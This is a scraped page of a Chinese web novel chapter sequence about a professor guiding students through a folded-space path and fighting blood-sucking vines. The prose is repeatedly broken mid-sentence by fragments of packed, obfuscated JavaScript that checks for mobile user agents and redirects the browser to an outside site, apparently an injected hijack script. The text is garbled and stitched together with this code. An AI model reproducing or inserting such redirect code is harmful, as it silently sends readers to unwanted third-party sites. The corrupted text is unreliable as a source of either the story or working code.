l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753781|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝丝缕缕粘稠、暗淡、近乎乳白色的液体,正极其缓慢地……渗出来。 一股混合着福尔马林和铁锈的诡异气味,顺着夜风幽幽飘来。 这味道……可真“亲切”啊…… 官酉鼻尖微动,脸上闪过一丝怀念的神色。 【抹杀倒计时11:47:22】 毫无感情的提示音如附骨之疽再次缠上。 官酉的脸一黑,那点怀念瞬间荡然无存。 他深吸一口气,看了眼腕上的手表。 惨白的荧光指针清晰地指向:凌晨3点44分44秒。 距离系统提示的“天亮”时间——4点44分44秒,仅剩最后的一个小时! 他必须在1个小时内,带领这群不安分的“学员”,安全抵达并进入那座散发着不祥气息的8号楼! 官酉的目光重新投向脚下延伸向古堡的青石板路。 路面湿滑黏腻,在月光下泛着幽暗的水光,显然并不好走。 一股强烈的直觉在他心底翻涌:这条看似一眼就能望到头的路,恐怕比他预想的还要漫长和……危险。 就在这时,一股带着体温的湿热气流,毫无征兆地喷在他的耳廓上。 伴随着章著金刻意压低、带着一丝戏谑的声音响起:“教授,还不动身吗?时间可不等人哦。” 官酉瞳孔骤然收缩,面无表情地抬手,一巴掌狠狠拍在章著金那张过分靠近的脸上,将他整个人推搡得向后踉跄了几步。 “滚到队伍最后面去。” 官酉的声音一如既往的冰冷。 他懒得回头,迈开脚步,径直走向那扇如同怪物巨口、正不断渗出诡异乳白液体的巨大木门。 冰冷而清晰的命令回荡在死寂的雨夜:“所有人按照学号排好队,跟紧我。章著金押后。” …… 二十分钟后。 官酉突然停了下来。 “不走了?”周昌南,那个身材高大豹头环眼,肌肉虬结的男人的声音立刻从队伍中段传来,带着喘息和压抑不住的焦躁,“还有那么远!搞什么名堂?” 他的声音听起来有些虚浮,仿佛刚跑完长跑。 “呵。”章著金懒洋洋的声音在队尾响起,带着一丝不易察觉的玩味,“各位,回头看看呗?” “走了这么久,感觉如何?有没有觉得…腿脚发酸,却好像还在原地踏步?” 他的尾音拖长,像羽毛搔刮着紧绷的神经。 官酉没说话,他不需要章著金提醒。 这二十分钟内,他把自己想象成一台制造精巧的机器,每一步的步长都控制在60~66厘米。 步数在心中清晰计数——2400步。 按照常理,这足以跨越接近1.6公里的距离,可是—— 他的目光沉沉地投向脚下潮湿的青石板路。 道路本身并非毫无标识。 每隔一段距离,就有一条浅浅的、仿佛天然形成的横向石纹,像是某种原始的刻度。 从他下令出发的起点——那第一道清晰的横向刻痕开始算起…… 一、二、三、四、五、六。 他的脚后跟,正踩着第六条刻度线。 2400步,单步步长范围在60~66厘米,总计约1512米的理论位移。 落到现实却是:6条刻度线,仅仅6米的位移? 冰冷的数字在官酉脑中碰撞,炸开荒谬的火花。 6米。 他们拼尽全力、气喘吁吁地行进了二十分钟,仅仅前进了6米?! 这合理吗?! 9. 中国结(6) 空气仿佛凝固了。 除了官酉和似乎早有预料的章著金,其他学员顺着官酉的目光,也终于意识到了脚下刻度的诡异。 有人下意识地开始数自己走过的刻痕,脸色瞬间变得惨白如纸。 周昌南的喘息声更重了,这次不再是单纯的疲惫,而是混杂了难以置信的恐惧。 队伍中响起几声压抑的抽气声。 “啧,看来教授也发现了?” 章著金的声音依旧是那副懒洋洋的调子,在死寂中显得格外清晰。 他不知何时已经溜达到了队伍侧前方一点的位置,离官酉不远不近,正好能看清对方的表情。 他双手插在西装裤的浅口袋里,半个手背外露,歪着头,漂亮的桃花眼微微眯起,嘴角噙着一丝玩味的笑意。 “那教授不如猜猜,是什么原因导致的?” 那笑容里没有意外,只有一种“果然如此”的了然和…浓厚的兴趣。 “空间扭曲?鬼打墙?还是某种……作用于集体感知的精神干扰?” 他顿了顿,目光扫过官酉紧抿的唇线和他手中那根微微发烫的骨白教鞭,笑意更深,“又或者,是这栋‘好客’的教学楼,在给我们下马威?” 他仿佛在看一场精心编排的戏剧,而他们所有人,包括官酉,都是戏台上的角色。 官酉依旧沉默。 他的目光从脚下的刻度线缓缓抬起,落在章著金的身上,锐利如刀。 太熟悉了。 那微微上挑的眉梢弧度。 那双手插兜时习惯性露出的半截手背。 那带着戏谑腔调、尾音总爱拖长的说话方式。 还有此刻眼中那份毫不掩饰的、对未知和混乱的浓厚兴趣…… 章知白。 这个名字几乎要冲破理智的堤坝,在官酉的脑海中轰鸣。 他几乎可以确定,眼前这个名为“章著金”的神秘学员,就是那个与他意识共生五年、在第九次试炼后消失无踪的章知白! 但他想不明白! 在意识脱离躯壳上传游戏的短短时间里,在章知白自己所说的“被一股没有恶意的力量拽走”之后,到底发生了什么? 是那股力量重塑了他?赋予了他新的身份和实体? 他此刻的“章著金”身份,是伪装?是游戏赋予的角色? 还是某种……连他自己都未必完全清楚的状态? 无数疑问如同冰冷的藤蔓缠绕住官酉的心脏,与脚下这扭曲的空间带来的窒息感交织在一起。 他能感觉到章知白——或者说章著金——的目光正饶有兴致地在他脸上逡巡,似乎很享受他此刻内心的惊涛骇浪。 官酉的心沉了沉。 不对! 这不该是章知白看他的眼神! 五年共生,无数次的日夜与共,早已在他们之间种下超越寻常的默契与羁绊。 他们可以互相挖苦,可以看对方在困境中狼狈,却绝不会……享受对方的恐惧! 更不会用这种纯粹旁观者、甚至带着一丝施虐意味的玩味目光,去欣赏他此刻的震惊与挣扎! 在分开的那段时间里,在章知白身上……究竟发生了什么? 那股“没有恶意”的力量,对他做了什么? 福尔马林混合着铁锈的阴冷气味,似乎比刚才更加浓郁粘稠,如同实质般缠绕在每个人的呼吸里,冰冷地钻进肺腑。 他的手指下意识地、更用力地摩挲了一下骨白教鞭的鞭柄。 鞭身依旧残留着之前驱散迷雾后的微微温热,但此刻,这温度却在以惊人的速度攀升。 它不再仅仅是温热,而是变得如同烧红的烙铁,滚烫地、凶猛地炙烤着他的掌心皮肉,带来尖锐的灼痛感。 这路有问题! 官酉的脑海中瞬间炸响警铃。 与此同时,《教师手册》第十二页冰冷而清晰的文字如同烙印般浮现在脑海: “教具拥有强烈的危机感知能力。” “当察觉到危险来临,教具温度升高。危险等级越高,教具温度越高。” 而他手中的教鞭,此刻烫得如同刚从地狱熔炉中取出!这危险等级……远超之前的迷雾! 是否需要再次挥鞭? 这个念头一闪而过,随即被他强行压下。 次数宝贵,绝不能浪费在试探上。 眼前的空间扭曲,更像是某种规则或陷阱,而非单纯的迷雾障碍。 刘楚恬压抑的哭声还在耳边回荡,学员们的恐慌如同涟漪般扩散开。 唯有章著金,依旧维持着洞悉一切又置身事外的玩味眼神,刺激着官酉紧绷的神经。 时间,在死寂和恐惧中,无声地流逝。 【抹杀倒计时11:27:22】 冰冷的提示音如同丧钟,再次在官酉脑海中敲响。 官酉深吸了一口那混合着死亡气息的冰冷空气,强行压下翻腾的思绪和几乎要溢出的焦躁。 他没有斥责刘楚恬的失态,也没有缓和其他人的恐惧。 而是缓缓转过身,冰冷的目光定格在章著金脸上,带着毫不掩饰的审视和冰冷的压力。 “你。”官酉的声音如同淬了冰,清晰地在死寂中响起,每一个字都带着沉重的分量,“知道什么?” 他的问题直指核心。 章著金那过于平静、甚至带着一丝兴奋的态度,太反常了。 这诡异的空间,这该死的进度,他是否知道得比其他人更多? 或者说,他是否就是“关键”? 章著金脸上的笑容加深了,他迎着官酉审视的目光,毫不退缩,甚至带着点挑衅地挑了挑眉。 他慢悠悠地将手从口袋里抽出,食指轻轻点了点自己的太阳穴,拖长了语调:“教授~您太高看我了。我只是觉得…” 他的桃花眼扫过那条诡异的刻痕,又飘向月光下森然的8号楼,声音里带着一丝诡异的蛊惑。 “…这路,比想象的有趣多了。说不定,得换个‘走’法?” 那“走”字,被他咬得格外重,充满了暗示。 官酉的眼神雾沉沉的。 他死死盯着章著金,仿佛要穿透那副玩世不恭的皮囊,看清里面到底是熟悉的灵魂,还是某个完全陌生的、危险的寄居者。 换个走法? 什么意思? 他们现在的“走”法,是在原地踏步?还是在错误的维度上徒劳消耗? 掌心的教鞭愈发滚烫,那灼痛感几乎要烧穿他的意志力,却也像警钟般疯狂敲打着他的思维。 看来猜对了! 章著金的暗示,教鞭的预警,都指向同一个结论——他们的移动方式出了问题!他们陷入了某种空间上的死循环,前进只是假象,消耗的却是宝贵的生命时间! 可这到底是为什么?他们遭遇了什么? 精神干扰?集体感知错乱?视觉欺骗?还是更高维度的空间折叠? “换个‘走法’。” 章著金那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792450|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同魔咒般的暗示再次在他脑中炸响。 如果是作用于感知的干扰,那么脚下重复的刻痕、走廊两侧看似一成不变的景象,很可能只是大脑接收到的错误信号!视觉被欺骗了! 那如果……放弃视觉呢?摒弃这最容易被干扰的感官后,他们应该准从哪个感官? 又或者说,在当下环境之中,他们还有哪个感官可以发挥作用? 官酉垂下眼睫,刚要思考,一个念头如同黑暗中划过的闪电,瞬间照亮了混沌! ——气味! 福尔马林混合铁锈的阴冷气味! 这气味虽然无处不在,浓郁得令人作呕! 如果空间真的在循环,气味浓度应该均匀得令人绝望。 但如果不是…… 官酉猛地闭上眼睛,深深吸了一口气,强行忽略那令人作呕的冰冷感,将全部心神集中在鼻腔。 一边走,一边仔细嗅闻,捕捉着空气中那细微到极致的浓度差异。 有了! 官酉猛地停下脚步。 在他目前停留的区域里,那福尔马林的味道似乎……更浓烈了一丝? 带着一种更深沉的、近乎腐败的甜腥? 而身后刚经过的区域,气味似乎稍淡一些? 他豁然睁开眼,眸中精光暴涨。 气味在流动,在变化! 他们并非原地打转,而是在一个巨大的、扭曲的环里移动。 这条青石板小路的空间被折叠了,视觉的感知也被蒙蔽了,让他们误以为一直在向前,实则是在一个巨大的莫比乌斯环上徒劳奔跑。 而这扭曲空间中唯一的方向标是被他们忽略的气味。 官酉的脸上浮现出一丝笑容,他猛地转身,准备向身后的队伍下达闭眼跟随的指令—— 笑容瞬间凝固在嘴角。 身后,空空如也! 本该紧跟着他、因为恐惧而几乎贴在一起的学员们,此刻竟然离他足有十几米远! 他们像一群受惊的羔羊,挤在一起,脸上写满了更深的茫然和恐惧,正不知所措地看着他。 唯独章著金,站在他和学员们之间的路上,笑眯眯的朝他招手。 官酉的心猛地一沉,但随即又是一松。 松,是因为这诡异的“距离感”恰恰证明了他的判断——空间折叠恰巧扭曲了他们的视觉感知。 他看似只向前探索了几步,但在扭曲的维度里,他可能已经跨越了寻常意义上的十几米。 他找对了方向,这空间扭曲正在他的行动下被完全矫正。 嗅觉,确实是唯一的真实坐标! 沉,是因为他距离队伍太远了。 在这片诡异折叠、视觉完全沦为陷阱的空间里,危险无处不在。 而嗅觉破局的关键,似乎只有他和章著金洞悉。 可那个顶着章知白灵魂、名为章著金的存在,正噙着抹令人火大的玩味笑意,选择冷眼旁观,没有丝毫提醒的意图。 他必须立刻将他们带回来。 拖得越久,变数越大。 为了积分,为了都能活,这一鞭子的机会,他必须用了。 “所有人,闭眼,现在!” 官酉的厉喝如同炸雷,撕破了粘稠的死寂。 命令出口的刹那,他紧握骨白教鞭的手臂已如满弓般扬起—— 嗡——!!! 一声沉闷到撼动灵魂的震鸣骤然响起,阴沉压抑的世界,骤然被无情的白炽光芒彻底吞噬。 10. 中国结(10) 章著金小拇指摁下的瞬间,眼底掠过一丝令人心悸的诡光。 官酉的心如坠冰窖。 那眼神…… 章著金不是章知白! 绝对不是! 他想干什么?!这个和章知白有着一模一样的习惯、动作、神态、语气的怪物,究竟是谁?! “你——” 官酉刚吼出一个字,异变陡生! 四周沉寂的藤蔓仿佛瞬间接收到无声的指令,齐刷刷暴起。 它们以远超之前的速度,扭曲着,如同无数条暴怒的毒蟒,带着撕裂空气的尖啸,猛地扑向所有学员。 原本挤在一起的学员们瞬间被狂暴的藤蔓冲散、分割,陷入各自为战的绝境。 “噗通!” 周昌南第一个被逼到死角,后背狠狠撞上冰冷的墙壁,退路断绝。 眼前,十多根碗口粗、闪着油亮青黑色泽的藤蔓,如同攻城槌一般,直捣他面门。 速度之快,掀起一阵带腥的风。 “格老子的!来啊!老子剁碎你们喂狗!” 周昌南咒骂一声。 他双眼赤红,额角青筋暴起,壮硕的身体绷紧,手中沉重的砍刀带着破风声,不管不顾地劈向最前头那根藤蔓! 嗤啦! 刀锋狠狠嵌入油滑坚韧的表皮,撕开一道尺长的裂口。 噗——! 一股粘稠、散发着浓烈铁锈与腐败混合气味的暗红浆液了立刻喷射而出,劈头盖脸糊了周昌南一脸。 粘液糊住了他的眼睛,恶臭直冲鼻腔,让他胃里一阵翻江倒海。 藤蔓尖尖立刻剧烈地抽搐起来,断口处的植物纤维在疯狂痉挛,仿佛有无数根神经感知到这被切断的痛苦一般,疯狂挣扎。 “呃啊啊啊啊啊——” 粗壮的蔓身猛地后仰,发出尖锐到惨烈的哀嚎。 这惨烈的嚎叫声仿佛有魔力,瞬间穿透整个战场。 其他正在攻击的藤蔓攻势猛地一滞,扑向目标的蔓尖甚至下意识地回缩了半寸。 停了? 它们是在怕痛?! 官酉心头一震,捕捉到这丝异常。 他的目光瞬间钉死在那疯狂抽搐的断口上——那剧烈跳动的频率,那富有弹性的收缩状态…… 不对劲! 这绝不是植物纤维该有的反应! 这分明是……活的、活动性充足的动物神经才会有的痉挛反应! 周昌南也愣了一下,脸上的粘液还在往下淌。 “就,就这么简单?!” 周昌南干巴巴的话音未落—— 咔! 那根被他砍伤,在疯狂抽搐的藤蔓骤然定格。 裂开的伤口深处,无数细密黑色倒刺猛地长出,如同活物般死死咬住嵌入的刀身。 一股沛然莫御的狂暴力量立刻顺着刀柄传来。 “呃——!” 周昌南只觉虎口剧痛欲裂,鲜血迸溅,整条右臂被一股无法抗拒的巨力猛地向上拽起! 哐当! 砍刀脱手飞出,砸在不远处的地面上,发出沉闷的响声。 周昌南的武器,没了! 剩余的藤蔓见状,发出更加兴奋的嘶嘶声,再无顾忌地朝着失去武器的周昌南猛扑过去。 死亡的阴影瞬间将他完全笼罩! “老周!” 旁边一直冷静观察的秦狩瞬间倒吸一口凉气,他厉喝一声,反手将手里正闪烁着微弱电弧的甩棍砸向距离周昌南最近的两根藤蔓上。 噼啪!嗷呜——! 青紫色的电火花骤然一亮,藤蔓立刻发出一声混合着电流嘶鸣与痛楚的怪异嚎叫,触电般猛地回缩。 它们庞大的身躯失去平衡,重重砸在身后几条正猛扑上来的同类身上。 哗啦!砰! 几条藤蔓顿时如同被绊倒的巨蟒,跌撞成一团,在狭窄的角落里纠缠蠕动。 就是现在! 秦狩一个箭步冲上前去,左手死死扣住周昌南鲜血淋漓的胳膊,核心猛然发力,硬生生将壮硕的周昌南从那死亡夹角里拖拽出来。 周昌南踉跄着撞到秦狩身上,大口大口的喘着粗气。 他的脸上糊满的暗红粘液混着冷汗往下淌,眼神里还残留着劫后余生的惊悸。 官酉紧绷的神经终于为老周松了半口气。 但这口松掉的气瞬间又被更沉重的压力堵了回去。 他目光飞快扫过战场——惨烈! 夏铭护着刘楚恬在数根藤蔓的围攻下左支右绌,手臂上又添新伤。 童话被一根藤蔓缠住了脚踝,正拼命挣扎,脸色煞白。 更远处,其他几个学员也在苦苦支撑。 呼喝声、痛哼声、藤蔓的嘶鸣声混成一片绝望的交响曲。 整个局面,正如章著金所言,即将全军覆没! 就在这时—— “还不快跑!都愣着等死吗?!” 章著金那原本带着玩味的声音,此刻竟充满了焦急,在混乱中显得格外清晰。 “听我的!朝着墙根跑!贴紧墙壁!这些鬼东西身体太粗笨,在墙角转弯没那么灵活!千万别跟它们硬碰硬,躲开蔓尖!” 夏铭、秦狩等人似乎也发现了这一点。 他们对视一眼,几乎没有丝毫犹豫,立刻遵从。 “贴墙!快!”夏铭大吼一声,护着刘楚恬就向最近的墙角冲去。 其他学员也如梦初醒,纷纷咬牙摆脱纠缠,不顾一切地扑向墙壁边缘,试图利用狭窄的空间限制藤蔓的甩动。 官酉却心下一凛,他下意识的看向章著金,而后瞳孔一缩,一股足以冻结灵魂的寒意瞬间攫住了他的心脏。 那些张牙舞爪、疯狂扭动、肆意攻击的藤蔓,在本能的规避章著金! 哪怕蔓尖因为惯性不得不靠近章著金,都会在距离他身体半尺左右的地方,以一种极其不自然的僵硬姿态,猛地改变方向,狠狠抽打在旁边的空地上,溅起碎石! 藤蔓在害怕章著金! 它们从头到尾都在避开他! 他站立的地方,才是这个炼狱里唯一的安全区! 可章著金刚才都做了什么?! 他在把所有人推向了更致命的角落! 推向藤蔓攻击更灵活、更容易形成合围的死亡陷阱! “他妈的……你到底想干什么?!”官酉忍不住嘶吼着咆哮出声,“你要害死所有人吗!” 不能再等了!必须出手!必须救下所有人! 哪怕要浪费机会! 官酉眼神一厉,攥紧手中那截森白的骨鞭。 他猛地扬起骨鞭,就要抽下—— “教授。”章著金漫不经心的声音,轻飘飘地钻进官酉耳中,“补充条例的积分…您真不想要了?” 积分! 这两个字像一道冰冷的闪电,狠狠劈在官酉紧绷的神经上。 他挥鞭的动作瞬间僵在半空,脑中一片空白。 就是这一刹那的失神,一声凄厉到变调的惨叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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浓烈的血腥味弥漫开来,那些藤蔓似乎更加兴奋,蔓尖不断的抽搐着,啪嗒一下裂开,露出吸盘般的口器,疯狂地撕扯、吮吸着学员们的伤口,试图将他们彻底吞噬! 而章著金,那个始作俑者,此刻却像个局外人,依旧稳稳地站在那片藤蔓不敢侵犯的“安全区”里。 他脸上甚至没有了伪装用的笑容,只剩下纯粹的冷眼旁观。 官酉眼底一片冰冷。 这个怪物! 这个窃取章知白记忆与习惯的赝品! 他竟敢用那熟悉的一举一动,去行此等阴毒之事! 这不啻于将最珍视的记忆践踏在污泥中,是对章知白存在本身的亵渎与抹黑! 他必须弄清楚章著金和章知白之间的关系,弄清楚章知白究竟去了哪儿。 倘若……倘若章知白的一缕残魂仍被囚禁在这副躯壳的深渊之中…… 那么,他官酉必将不惜一切代价,将真正的章知白夺回! 但眼下的当务之急,是保证剩下8个学员活下去! 官酉深吸一口气,猛地探手伸向腰间那个不起眼的教师礼包,用力一抓—— 一只造型普通、通体黑色、喇叭口蒙着金属滤网的便携式“小蜜蜂”麦克风,瞬间出现在他手中。 11. 中国结(11) “都别躲了!往章著金的身边走!立刻!” 官酉的厉呵通过小蜜蜂骤然炸响,穿透藤蔓的嘶鸣与学员的痛呼,扎进每个人的耳膜。 【小蜜蜂(蓝色一星):自从当了老师以后,是不是总觉得嗓子干痒难受?喉咙里似乎总有东西咳不出来又咽不下去? 那是你还没使用系统游戏出品的超级神器——小蜜蜂! 用上它,不管你声音是大是小,需要传达的距离是远是近,都能很清楚的传达到每一位学员的耳边。】 【备注:该道具为被动道具,无使用次数限制。但道具具有唯一性,千万不要弄丢了,弄丢了可就补不回来啦!】 学员们被这突如其来的指令惊得动作一滞,趁着藤蔓攻击的间隙,几道仓惶的目光瞬间投向章著金的方向—— 瞳孔骤缩。 章著金正闲适地站在一片狼藉的战场中心,似笑非笑的看着他们。 他周围半径一米内,仿佛被无形的屏障隔绝一般,任凭四周狂暴的藤蔓如何摇头甩尾,都沾染不到分毫! 安全区! 绝对的安全区! 众人的眼神瞬间变得愤怒,一道道视线如同淬毒的针,狠狠刺向章著金那张过分漂亮的脸。 凭什么他能安然无恙?! 凭什么他们像待宰的羔羊?! 章著金却仿佛浑然未觉。 他甚至慢悠悠地掸了掸袖口并不存在的灰尘,才缓缓扭过头。 桃花眼瞄向官酉的方向,嘴角委屈地向下撇着,声音拖得又软又长,带着黏腻的撒娇意味。 “教授~~~” 他尾音打着旋儿,绵绵软软的,像裹了蜜糖。 “我就这么被您给卖啦?说好的我是您的‘脑干儿小宝贝’呢?” 章著金说着叹了口气,直挺挺的腰背半躬下,手捂上心口,眼神控诉:“您都不疼我了……真让人心寒呐。” 官酉面无表情的看着他,眼神冰冷,没有一丝波澜。 疼?他配吗? 这个顶着章知白皮囊、窃取章知白习惯的怪物。 他每一丝故作熟悉的姿态,每一句刻意模仿的腔调,都是对那个真正与他共生五年灵魂的亵渎。 没当场撕碎他那张蛊惑人心的脸,就已经是最大的“疼惜”了。 求生的本能压过了猜忌与愤怒。 学员们咬紧牙关,拖着伤痕累累的身体,爆发出最后的力量,拼命朝着章著金所在的位置冲撞、挤压过去。 然而,诡异的一幕发生了—— “嗡……” 随着刘立涛扑进章著金身边半米的安全区后,空气似乎发出一声低不可闻的震颤。 那道无形的“安全屏障”仿佛被戳破的气泡,骤然收缩。 原本只在章著金半尺外就惊惶弹开的藤蔓,试探性地将蔓尖又向前探了一寸、再一寸…… 那吸盘般的口器微微开合,贪婪地汲取着空气中骤然浓郁的血腥味和……某种“限制”被打破的气息? 安全区的范围,在以肉眼可见的速度缩小! 章著金脸上的委屈瞬间褪去,取而代之的是熟悉的轻佻笑容和审视。 他看着身边挤作一团、惊惶失措的学员,又抬眼望向官酉,wink一下。 “教授——”他拖长了调子,慢悠悠,好似在讨论一会儿要吃点什么,“再不来搭把手,我们可都要在这儿……变成花肥了哦?” 官酉不为所动,甚至觉得有一丝好笑。 这不正是眼前这位“助教”精心导演、甚至推波助澜想要得到的效果吗? 藤蔓的狂暴,学员的伤亡,积分的获取…… 剧本写得明明白白,演员演得明明白白。 现在倒来催促救火员控场了? 毫无演员精神,差评。 章著金见状,无奈叹息,脸上挂起一丝无奈,眸子却紧紧攫住官酉,拿出杀手锏:“好吧,您不想知道您那位‘室友’的下落吗?” 室友! 这两个字如同惊雷,在官酉脑中轰然炸响,骇人的气息瞬间爆发。 官酉死死盯着章著金,指关节捏得咯咯作响,几乎要捏碎掌中的小蜜蜂。 他怎么知道章知白?! 游戏制造团队不知道,客服咪呜咪呜也不知道。 章知白的存在,如同一个被完美擦除的异常数据点,一个不该被任何系统捕捉到的幽灵BUG! 除非……眼前这个模仿着章知白举止的“章著金”,根本就不是什么游戏制作团队安排的“助教”! 是张直白当时所感应的“拉扯”的力量本身! 是将章知白从他意识深处生生“拽走”的源头! 一股没来由的寒意瞬间浸透了官酉的骨髓。 “嘶啦——!!!” 刺耳的撕裂声爆响! 那道摇摇欲坠、被众人挤得只剩下薄薄一层的“安全屏障”,如同脆弱的肥皂泡,终于彻底破碎! 数根水桶粗细的狂暴藤蔓,带着积压已久的嗜血渴望,如同出闸的恶蛟,猛地从四面八方噬咬向中央的人群。 但这一次,它们的目标极其明确——是那个刚刚还立于安全中心、此刻却因屏障消失而首当其冲的章著金! 蔓尖裂开,露出布满螺旋利齿的吸盘口器,腥臭的粘液如同涎水般滴落,直扑章著金那张过分精致的脸! 章著金的脸色周斌,脸上的玩味和审视如同潮水般褪去,桃花眼里,瞬间盈满了纯粹的、令人心碎的惊恐和无助。 他像是被吓傻了,身体僵硬地向后微仰,漂亮的脸蛋血色尽失,嘴唇微微张开,发出一声短促到几乎听不见的抽气。 “呃!” 那声音,是章知白在极度紧张或意外时才会有的、短促而压抑的喉音。 官酉的瞳孔骤然收缩成针尖。 他的理智在疯狂尖叫“他是假的!是模仿!是陷阱!”,可五年来共生形成的、近乎本能的保护欲却如同被点燃的引信,轰然炸开。 身体比思维更快一步做出了反应—— “滚开!” 官酉爆喝一声,几乎是本能地闭上眼,嗅闻着腥气稀薄的方向,猛踏出一步。 右手一直紧握的骨白教鞭被他以开山裂石般的狂暴姿态,狠狠扬起! 嗡——! 鞭身瞬间爆发出刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847223|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的乳白光芒,鞭梢划过的轨迹,空间都仿佛被割裂,留下短暂的光痕! 啪! 咔嚓! 噗嗤——! 鞭影如怒龙甩尾,抽在那根眼看就要啃噬到章著金面门的那根藤蔓的蔓尖之上。 蔓尖在接触鞭影的瞬间,表皮寸寸崩裂、碳化。 内里粘稠腥臭的暗红浆液如同高压水枪般狂喷而出,断裂的蔓尖带着凄厉到变调的尖啸,如同被砍断的蛇头,疯狂抽搐着砸落在地。 【教鞭使用(3/17):裂空一击】 【嚯!好强悍的力量!居然让拦路的诡异都胆寒了!】 【好可惜,使用人的级别还是太差劲了,居然使用掉了两份机会。】 俏皮的提示在官酉脑海闪过,但他无暇顾及,手腕疾抖,又接连挥出三鞭。 【教鞭使用(5/17):裂空一击】 【教鞭使用(7/17):裂空一击】 【教鞭使用(9/17):裂空一击】 砰!砰!砰! 如同重锤砸在败革之上,几根藤蔓被硬生生抽得倒卷回去,蔓身上布满焦黑的鞭痕,痛苦地痉挛嘶鸣。 官酉已趁此间隙,一步抢到章著金身前! 他甚至来不及思考,左手猛地探出,一把攥住了章著金纤细冰冷的手腕,粗暴地将他整个人狠狠拽向自己身后。 “躲后面去!”官酉的声音嘶哑冰冷,头也没回,视线死死锁定了因受创而短暂停滞、但更加狂暴的藤蔓群。 藤蔓似乎在忌惮官酉,层层叠叠的团聚在一起,像一屏昏天黑地的屏风。 裹挟着凶煞的恶意,却不敢擅动。 被他护在身后的章著金,踉跄了一下才站稳。 他低头看着自己手腕上被官酉攥出的清晰红痕,又抬眼望向官酉紧绷如磐石的后背。 漂亮的桃花眼里,惊恐如同潮水般迅速退去,取而代之的是一种极其复杂的的光芒——有玩味,有审视,有一丝计谋得逞的隐秘得意。 而眼底深处,似乎还掠过一丝连他自己都未曾察觉的……怔忪? 他歪了歪头,指尖轻轻拂过被官酉攥过的手腕,低笑了一声。 “哎呀呀……”章著金的声音恢复了那种轻飘飘的调子,带着点劫后余生的慵懒,“教授,我不该怀疑你的。您这手劲儿……确实够‘疼’人的。” 他刻意咬重了“疼”字,尾音柔的像把鬃毛梳,轻轻梳过官酉的心脏。 官酉握着骨鞭柄的手,微不可查的一顿,耳根通红。 真不愧是完全复刻章知白的一切,连撩人的语气都维持的一模一样。 “不过,多谢救命之恩啦。” 章著金轻拍了拍官酉的肩膀。 “放心,作为报答……您那位‘室友’的下落,我一定会……好好想想的。” 官酉眼神骤冷,耳根的红晕瞬间褪尽。 靠!居然真把他当成章知白护着了! 他微微侧头,目光森冷地掠过章著金的脸侧,语气阴寒刺骨。 “用不着你费心。” “好好活着,我自会亲自来探探,你到底知不知道他的下落。” 12. 中国结(12) 【教师专属安全领域已展开,危险解除,藤蔓沉睡。】 提示音刚落,那些刚刚还狂暴嗜血,如同巨蟒般扭动嘶鸣的藤蔓,突然僵直不动了。 紧接着,它们庞大的身躯以肉眼可见的速度干瘪、枯萎,仿佛被无形的巨手猛地抽走了所有活力一般。 油亮青黑的表皮迅速失去光泽,变得灰败、皲裂。 暗红的纹路黯淡下去,最终化为最原始的暗褐色。 “噼啪……咔啦……” 枯枝断裂的脆响此起彼伏。 所有藤蔓,无论粗细大小,都在瞬间失去了支撑,如同被烈日暴晒后的朽木,纷纷崩解、断裂,化作漫天簌簌落下的灰黑色粉末。 前一秒还血肉横飞的炼狱,下一秒只剩下一片死寂的灰烬之雨,以及劫后余生、惊魂未定的八名学员。 “结...结束了?”刘楚恬瘫软在地,声音带着劫后余生的哭腔。 夏铭似乎也很惊讶,但她迅速收敛了情绪,目光锐利地扫过一地狼藉的碎末,随即落在站在众人中心的官酉身上。 她眸中精光一闪,若有所思——这突然停止攻击、瞬间碎成齑粉的藤蔓,与他有绝对的关联! 可是…… 夏铭的眉头几不可察地蹙起,心底的困惑骤生。 她怎么没听说过,这位在学院里以恋手癖“闻名”的老师,有如此诡异而强大的能力? 官酉没注意到夏铭的神色和心思,他眉头紧锁,自己的心头也疑云密布。 安全领域已展开? 他似乎并没有做什么特别的举动? 还是说,当他以教师的身份出现在学员的四周,就意味着属于他作为“教师”的领域便展开了? 无数疑问瞬间涌上心头,但官酉强行将它们压了下去。 这里不是解惑之地。 空气中残留的诡异气息和满地不详的灰烬都在提醒他:危机远未解除,那些藤蔓随时可能卷土重来。 他必须立刻带剩下的人离开。 官酉深吸一口气,斩钉截铁的声音通过小蜜蜂清晰地刺入每个人的耳膜: “所有人,立刻闭上眼!放弃视觉!集中精神,感受气息变化的方向!” “只靠听觉跟上我,一步不许落下!” 命令下达后,他的目光落在不知何时已悄然与他并肩而立的章著金身上,声音压得极低,带着浓浓的警告气息:“章著金,别、耍、花、招。” 